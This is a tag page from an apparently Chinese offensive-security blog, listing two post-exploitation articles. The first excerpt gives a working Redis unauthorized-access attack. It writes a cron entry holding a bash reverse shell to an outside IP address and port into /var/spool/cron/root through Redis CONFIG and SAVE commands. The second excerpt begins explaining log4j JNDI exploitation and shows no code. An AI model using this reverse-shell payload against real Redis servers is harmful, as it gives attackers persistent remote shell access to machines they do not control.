Logo

菜单

EvilSwan 关注信息安全

所有标签

#汇编 1 #Mythic #Mythic 1 #CobaltStrike 1 #隧道搭建 1 #横向移动 1 #权限提升 1 #痕迹清理 1 #信息收集 1 #内网渗透 2 #RAAS 1 #勒索组织 1 #exploit #ActiveDirectory 2 #学习计划 1 #post-exploit 2 #log4j 1 #Halo 0
Post-Exploit #post-exploit

Redis unauthorized post exploit

cron set 4a "\n\n*/1 * * * * bash -i >& /dev/tcp/120.79.51.115/91 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save webshell #

Administrator Administrator 发布于 2024-12-06
Post-Exploit #log4j#post-exploit

log4j任意命令执行漏洞的后利用

作为一个2年多前的漏洞，慢慢也开始替代shiro反序列化漏洞出现在各个攻防的场景，就该漏洞的后利用作出描述。 漏洞原理 JNDI 全称为：Java Naming and Directory Interface ,java命名和目录接口，刚开始我也始终不理解这个功能的含义，后面发现不必太过纠结于此，更

Administrator Administrator 发布于 2024-07-07